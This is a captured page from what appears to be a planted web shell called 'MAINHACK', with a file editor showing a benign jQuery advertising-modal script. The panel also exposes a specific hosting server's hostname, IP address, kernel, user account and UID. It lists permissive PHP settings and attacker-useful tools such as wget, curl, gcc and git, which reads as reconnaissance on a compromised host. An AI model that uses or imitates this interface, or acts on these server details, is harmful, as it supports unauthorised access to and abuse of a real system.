[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: advertising_modal.js
(function ($) { "use strict"; function makeHtml(title, image, description, button1, button2) { return `<div id="advertisingModalSettings"> <div class="d-flex align-items-center justify-content-between"> <h3 class="section-title font-20 text-dark-blue mb-10">${title ?? ''}</h3> <button type="button" class="btn-close-advertising-modal close-swl btn-transparent d-flex"> <i class="fa fa-times"></i> </button> </div> <div class="d-flex align-items-center justify-content-center"> <img src="${image ?? ''}" class="img-fluid rounded-lg" alt=""> </div> <p class="font-14 text-gray mt-20">${description ?? ''}</p> <div class="row align-items-center mt-20"> ${ (button1 && button1.link && button1.title) ? `<div class="col-6"> <a href="${button1.link}" class="btn btn-primary btn-block">${button1.title}</a> </div>` : '' } ${ (button2 && button2.link && button2.title) ? `<div class="col-6"> <a href="${button2.link}" class="btn btn-primary btn-block">${button2.title}</a> </div>` : '' } </div> </div>`; } $('body').on('click', '.js-preview-modal', function () { const title = $('input[name="value[title]"]').val(); const image = $('input[name="value[image]"]').val(); let description = $('textarea[name="value[description]"]').val(); description = (description + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1<br>$2'); const button1 = {link: '', title: ''}; button1.title = $('input[name="value[button1][title]"]').val(); button1.link = $('input[name="value[button1][link]"]').val(); const button2 = {link: '', title: ''}; button2.title = $('input[name="value[button2][title]"]').val(); button2.link = $('input[name="value[button2][link]"]').val(); Swal.fire({ html: makeHtml(title, image, description, button1, button2), showCancelButton: false, showConfirmButton: false, customClass: { content: 'p-0 text-left', }, width: '36rem', }); }); })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285